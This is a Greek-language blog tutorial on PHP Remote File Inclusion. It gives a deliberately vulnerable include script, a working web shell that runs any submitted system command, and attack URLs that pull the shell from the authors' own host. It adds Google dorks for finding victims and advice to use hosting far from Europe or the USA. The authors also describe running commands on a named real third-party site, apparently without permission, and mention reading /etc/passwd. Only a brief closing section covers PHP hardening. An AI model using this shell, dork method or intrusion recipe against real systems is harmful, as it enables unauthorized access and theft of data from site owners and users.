Remote File Inclusion (RFI) – Προστασία ιστοσελίδας!

Remote File Inclusion (RFI) – Προστασία ιστοσελίδας!

Ένας πολύ γνωστός τρόπος επίθεσης σε sites είναι η εκτέλεση απομακρυσμένου κώδικα (Remote Code Execution). Ο επιτιθέμενος εκτελεί ένα δικό του πρόγραμμα (συνήθως όχι και πολύ αθώο) σε μια ιστοσελίδα που φιλοξενείται σε κάποιον server. Τέτοια προγράμματα, συχνά, παίρνουν τον έλεγχο του λειτουργικού συστήματος (owned box) ενώ άλλα απλά προκαλούν ζημιά σβήνοντας σημαντικά αρχεία ή εγκαθιστούν κάποιο logger κλέβοντας κωδικούς, passwords ή και αριθμούς πιστωτικών καρτών των χρηστών της ιστοσελίδας.

Μια μέθοδος που ακολουθείται πολύ συχνά είναι η εκτέλεση ενός προγράμματος (π.χ. σε γλώσσα PHP) το οποίο με κάποιο τρόπο, όπως θα δούμε παρακάτω, “ενσωματώνεται” σε ένα απόλυτα αθώο πρόγραμμα που μπορεί να τρέχει στον server. H μέθοδος αυτή ονομάζεται Remote File Inclusion ή απλά RFI. Βέβαια σαν τεχνική είναι αρκετά παλιά και πολλοί μάλιστα θεωρούν ότι είναι ξεπερασμένη. Εμείς πάντως σας διαβεβαιώνουμε ότι παλαιά είναι μόνο τα… παραδείγματα μας!

Για να γίνουμε ακόμα πιο ρεαλιστικοί, όμως, θα σας δώσουμε ένα αληθινό παράδειγμα για να δείτε πόσο επικίνδυνη μπορεί να γίνει μια τέτοια επίθεση και πόσο εκθέτει το λειτουργικό σύστημα του server. Φυσικά θα σας πούμε και τρόπους ώστε να αποφύγετε τέτοιες «κακοτοπιές» σε περίπτωση που αναπτύσσετε ιστοσελίδες στο διαδίκτυο.

Απαραίτητα «εργαλεία»

Για να μπορέσουμε να πραγματοποιήσουμε μια τέτοια επίθεση θα χρειαστούμε 2 βασικά πραγματάκια:

  1. 1. Να έχουμε ένα site στο οποίο να μπορούμε να γράφουμε δικά μας προγράμματα σε php. Ένας εύκολος τρόπος είναι το λεγόμενο Share Web hosting (φιλοξενία των δικών μας ιστοσελίδων). Αν ψάξετε λίγο θα βρείτε δεκάδες για να μην πούμε εκατοντάδες sites που δέχονται να σας φιλοξενήσουν δωρεάν (εικόνα 1)!

 

Εικόνα 1: Μια αναζήτηση στο google για «free web hosting» δεν θα αφήσει σχεδόν κανέναν παραπονεμένο.
Προτιμήστε ένα site αρκετά… μακρινό. Όσο πιο μακριά από την Ελλάδα, την Ευρώπη ή την USA τόσο πιο καλά…!

2.Ένα υποψήφιο θύμα. Για να βρούμε όμως το υποψήφιο θύμα θα πρέπει να ξέρουμε ακριβώς πως λειτουργεί η μέθοδος επίθεσης.

Ας την περιγράψουμε λοιπόν.

Δοκιμή της επίθεσης στο δικό μας site

Πρώτα απ’ όλα θα πρέπει να δοκιμάσουμε τα προγράμματα μας στο δικό μας site που είναι ελεγχόμενο το περιβάλλον και που μπορεί να κάνουμε τις δοκιμές μας ελεύθερα και χωρίς να μας σταματήσει κανένας.

Θα κατασκευάσουμε 2 αθώα προγράμματα όπου μέσω της γραμμής URL το ένα πρόγραμμα θα καλεί το άλλο. Το αποτέλεσμα των προγραμμάτων μας φαίνεται στο παρακάτω site:

 

Το δικό μας site είναι το… καλύτερο!

Δώστε βάση στην γραμμή URL:

http://ajv.awardspace.info/axvax/testrfi.php?include=index.html

Το http://ajv.awardspace.info/axvax/testrfi.php καλεί το index.html που βρίσκεται στον ίδιο κατάλογο.

Ο κώδικας των δύο αθώων μας προγραμμάτων είναι ο παρακάτω:

testrfi.php

<?php   echo «Hello! Welcome to RFI kingdom. <br>»;

   echo «<hr>»;

    $file =$_GET[‘include’];

   if (isset($file)){

       include($file);

   }

?>

index.html

<html> 

<head>ΚΑΛΟΥΜΕΝΟ ΠΡΟΓΡΑΜΜΑ</head>

<p>Το δικό μου site! Δεν είναι απίστευτα όμορφο;

 

</html>

Η ουσία βρίσκεται στην 6η γραμμή του testrfi.php:

include($file);

Η εντολή αυτή εισάγει τα περιεχόμενα του αρχείου που ορίζεται στην μεταβλητή $file μέσα στο πρόγραμμα testrfi.php και το εκτελεί σαν να ήτανε μέρος του προγράμματος. Στην περίπτωση μας καλείται το index.html.

Σκεφτόμαστε λοιπόν λίγο πονηρά: Να φτιάξουμε ένα κακό πρόγραμμα (ας το πούμε system.php) και να το καλέσουμε στην θέση του index.html. To system.php θα μας ζητάει μια εντολή του λειτουργικού συστήματος Linux και θα την εκτελεί στο server!

Δίνουμε λοιπόν στο URL:

http://ajv.awardspace.info/axvax/testrfi.php?include=system.php

Τα αποτελέσματα είναι τα παρακάτω:

Επίθεση RFI στο δικό μας site.

Εδώ εκτελέσαμε την πολύ αθώα εντολή “ls” η οποία μας δείχνει απλά τα περιεχόμενα του τρέχοντος καταλόγου στο δίσκο. Θα μπορούσαμε να εκτελέσουμε και άλλες πιο… ενδιαφέρουσες εντολές!

Για όσους πιστεύουν ότι το system.php είναι δύσκολο να φτιαχτεί, θα τους απογοητεύσουμε! Ο κώδικάς του είναι απίστευτα μικρός και απλός:

System.php

<html><body>

<form action=»» method=»POST»>

<p>Enter System Command > <input name=»syscom» type=»text» size=30>

<p><input type=»submit» value=»submit»>

<br>

</form>

</body>

</html>

 

<?php

$syscom = $_POST[‘syscom’];

if (isset($syscom)){

   echo system($syscom); 

}

?>

H «καρδιά» του παραπάνω προγράμματος βρίσκεται 2 γραμμές πριν το τέλος. Πρόκειται για την συνάρτηση system() της php, η οποία δέχεται σαν παράμετρο μια εντολή του λειτουργικού συστήματος και την εκτελεί. Εμείς λοιπόν σαν παράμετρο της δίνουμε την μεταβλητή $syscom η οποία περιέχει ότι δώσουμε στο «Enter System Command», στη μεταβλητή που μας ζητείτε στη γραμμή 5 του προγράμματος.

Φυσικά υπάρχουν πολύ καλύτερες υλοποιήσεις των λεγόμενων shells προγραμμάτων, τα οποία σου επιτρέπουν να εκτελέσεις εντολές του λειτουργικού συστήματος. Μην μας ρωτήσετε, όμως, που θα τα βρείτε! Δεν θα σας πούμε. Έτσι, είμαστε σίγουροι οτι δεν θα τα βρείτε πουθενά, μιας και δεν ξέρετε που να ψάξετε… ?

Για να επανέλθουμε στο θέμα μας, η βασική μεθοδολογία του RFI είναι αυτή: Να κάνουμε το αθώο πρόγραμμα testrfi.php να καλέσει το κακό system.php.

 

Απομακρυσμένα

Σκεφτείτε τι θα γίνει αν το testrfi.php δεν βρίσκεται στον δικό μας server αλλά είναι ένα άλλο site σε έναν άλλο server, και το system.php παραμένει το ίδιο στον δικό μας server. Σε αυτήν την περίπτωση θα έπρεπε να κάνουμε μόνο την εξής μικρή αλλαγή στο URL:

http:***/testrfi.php?include=http://ajv.awardspace.info/axvax/system.php

όπου *** = η διεύθυνση του άλλου server.

Το παραπάνω θα δουλέψει… εν μέρη!

Το http://ajv.awardspace.info/axvax/system.php θα εκτελεστεί, αλλά στον δικό μας server. Δηλαδή αν δώσουμε “ls” θα δούμε πληροφορίες του δικού μας καταλόγου. Για να το κάνουμε να εκτελεστεί στο απομακρυσμένο server (εκεί δηλαδή που τρέχει και το …/testrfi.php) πρέπει απλά να φτιάξουμε ένα όμοιο πρόγραμμα στον server μας και να το σώσουμε με το όνομα system.txt και να το καλέσουμε έτσι:

http:…/testrfi.php?include=http://ajv.awardspace.info/axvax/system.txt

Αναζήτηση θυμάτων

Απ’ ότι θα έχετε καταλάβει, η βασική “κεκρόπορτα” της αδυναμίας RFI είναι η μεταβλητή η οποία περνάει στο URL (στο παράδειγμά μας η «?include») και η οποία περιέχει το όνομα του αρχείου το οποίο θα «εκτελεστεί». Φυσικά η μεταβλητή αυτή δεν ονομάζετε πάντα «include». Μπορεί να λέγεται «file», «incFile», «show_path» ή οτιδήποτε άλλο έρθει στο μυαλό του προγραμματιστή που την έφτιαξε.

Πως όμως αναζητούνε οι «επιτήδειοι» πιθανά θύματα?

Όπως είναι γνωστό, η πληροφορία υπάρχει πάντα εκεί, το θέμα είναι να βρεις τρόπο να την ανακτήσεις. Αρκεί να έχεις τα κατάλληλα εργαλεία… Τι ποιό χρήσιμο εργαλείο για αυτήν την περίπτωση από τον… Γούγλη! (Θεέ και Κύριε!… η «Ελληνοποίηση» πρέπει να έχει και κάποια όρια). Δίνοντας λοιπόν στο Google:

inurl:”index.php?file=”    ή

inurl:”index.php?incFile=” κλπ.

θα μας δώσει όλα τα sites που περιέχουν μεταβλητές που μπορεί να χρησιμοποιούνται για κλήση άλλων προγραμμάτων δηλαδή sites υποψήφια για επιθέσεις RFI.

Μια Πραγματική Επίθεση

Σερφάροντας μια μέρα στο internet πέσαμε κατά τύχη επάνω σε ένα αδύναμο (vulnerable) site σε RFI. Εκ πρώτης όψεως φαινόταν ένα site σαν όλα τα άλλα:

Στην αρχή όλα φαίνονται ήσυχα και αθώα…

Δώστε βάση στο URL:

http://www.ramshaw.com/index.php?Tab=Renting&incFile=Renting/Testimonials.HTML

Μήπως αυτό το… incFile μας γαργαλάει λίγο το μέρος του εγκεφάλου μας που γράφει «Περιέργεια» ή «Δοκιμάστε την αντοχές των Συστημάτων»; ?

Ας δοκιμάσουμε το κακό μας πρόγραμμα, το system.txt:

Εμφανίζουμε τα περιεχόμενα του τρέχοντα καταλόγου.

It works… Εμφανίσαμε τα περιεχόμενα του τρέχοντα καταλόγου. Ας παίξουμε λίγο ακόμα όμως. Τι θα λέγατε να βλέπαμε όλες τις μεταβλητές περιβάλλοντος στο λειτουργικό σύστημα που τρέχει το site; Καλή ιδέα, ας το κάνουμε:

Με την εντολή «set» βλέπουμε όλες τις μεταβλητές περιβάλλοντος του λειτουργικού.

Φανταστείτε ότι μπορούμε να τρέξουμε όποια εντολή θέλουμε, σαν να είχαμε πρόσβαση κατευθείαν στο shell του λειτουργικού συστήματος. Αλλά ας ρίξουμε ακόμα μια ματιά πριν… φύγουμε. Να τρέξουμε ένα προγραμματάκι το οποίο θα μας δείξει πληροφορίες για τον server, το λειτουργικό σύστημα και άλλα χαρωπά:

Χμ… καθόλου κακές πληροφορίες!

Φυσικά οι εντολές που δίνουμε στα παραπάνω παραδείγματα είναι αρκετά αθώες και δεν δίνουν τόσο «απόρρητες» πληροφορίες. Θα μπορούσαμε όμως να προχωρήσουμε ακόμα περισσότερο δίνοντας εντολές του στυλ:

cat /etc/passwd

δεν το θέλουμε όμως γιατί είμαστε καλά παιδιά…!

Το πόσες πληροφορίες μπορούμε να πάρουμε εξαρτάται από το πόσο καλά Unix (άντε Linux) γνωρίζουμε.

Τρόποι Προστασίας

Η βασική αιτία που συμβαίνουν οι επιθέσεις αυτές οφείλεται στο configuration της γλώσσας PHP στον εκάστοτε server η οποία έχει «σεταριστεί» έτσι ώστε να επιτρέπει την κλήση προγραμμάτων από άλλα sites.

Μια λύση για να μην μπορεί κάποιος να «τρέξει» απομακρυσμένο κώδικα στο site μας, είναι να δώσουμε συγκεκριμένες τιμές σε κάποιες μεταβλητές περιβάλλοντος της γλώσσας PHP, μέσα στο αρχείο PHP.INI (http://www.php.net/manual/en/ini.php):

  •  allow_url_fopen = false
    Θέτοντας την μεταβλητή αυτή false, δεν επιτρέπεται σε κάποιον να εκτελέσει ένα πρόγραμμα σε απομακρυσμένο server.
  •  safe_mode = true
    H παραπάνω μεταβλητή έχοντας την τιμή true δεν θα επιτρέψει σε κάποιον να εκτελέσει συναρτήσεις του στυλ system(),exec() κλπ. Δηλαδή συναρτήσεις που εκτελούν εντολές του λειτουργικού συστήματος. Η συγκεκριμένη όμως μεταβλητή δεν υποστηρίζετε στη Php 6.0. Το σκεπτικό είναι ότι η PHP δεν πρέπει να ασχολείται με τόσο «συστημικά ζητήματα» τα οποία μπορούν να επιλυθούν με από το security του ίδιου του λειτουργικού (π.χ. με τον καθορισμό access rights κλπ. – http://us2.php.net/manual/en/features.safe-mode.php).
  •  Χρησιμοποιείτε στα προγράμματα σας την συνάρτηση της php file_exists(). Με αυτόν τον τρόπο μπορείτε να ελέγχετε αν υπάρχει το αρχείο που θα κληθεί να εκτελεστεί στον τοπικό σας δίσκο. Αν το αρχείο δεν υπάρχει στον τοπικό δίσκο αλλά υπάρχει σε κάποιον απομακρυσμένο server, η συνάρτηση θα επιστρέψει false!

Για περισσότερες και πιο «ζουμερές» λεπτομέρειες ανατρέξτε στο http://us2.php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen και στο http://us2.php.net/manual/en/features.remote-files.php

Συμπεράσματα

Απομακρυσμένο κώδικα μπορούμε να καλέσουμε σε πάρα πολλές εφαρμογές οι οποίες δεν είναι κατά ανάγκη κακόβουλες (malware). Για παράδειγμα, όταν εκτελούμε ένα web service ή όταν τρέχουμε μια εφαρμογή client/server, ακόμα και όταν «κατεβάζουμε» ένα activeX, εκτελείται κώδικας στο PC μας ο οποίος «ενεργοποιήθηκε» από κάποια εξωτερική πηγή και ο οποίος μπορεί να «ανοίξει» ένα κανάλι επικοινωνίας με κάποιον απομακρυσμένο server. Το αν θα είναι για καλό ή για κακό σκοπό αυτό εξαρτάται αν παραβιάζονται κάποιοι γραπτοί ή άγραφοι νόμοι για την επικοινωνία δυο ή περισσότερων ατόμων και δεν έχει να κάνει τόσο πολύ με τους αλγόριθμους σύζευξης και του πρωτοκόλλου που ακολουθείται την συγκεκριμένη χρονική στιγμή.

Οι μεθοδολογίες στην τεχνολογία επικοινωνίας και οι προεκτάσεις της είναι πάρα πολλές. Το κακό είναι η άγνοια. Η γνώση των τρόπων επίθεσης δεν μας κάνει κατά ανάγκη κακόβουλους. Κάποιος όμως, σαν αντίλογο, θα έλεγε ότι μας κάνει εν δυνάμει τέτοιους. Εμείς όμως θα απαντούσαμε ότι από την άλλη όψη του νομίσματος βρίσκεται η άγνοια η οποία μας κάνει σίγουρα εν δυνάμει θύματα!

Αυτό δεν θα μπορούσαμε να το επιτρέψουμε να συμβεί. Ειδικά στους νέους ανθρώπους. Ξέρετε, αυτούς που είναι μικροί στην ηλικία ή στην «ψυχή»! Δεν πρέπει να το επιστρέψουμε να συμβεί! Καλύτερα εν δυνάμει θύτες παρά εν δυνάμει θύματα. It is a matter of knowledge, aka power.

«
»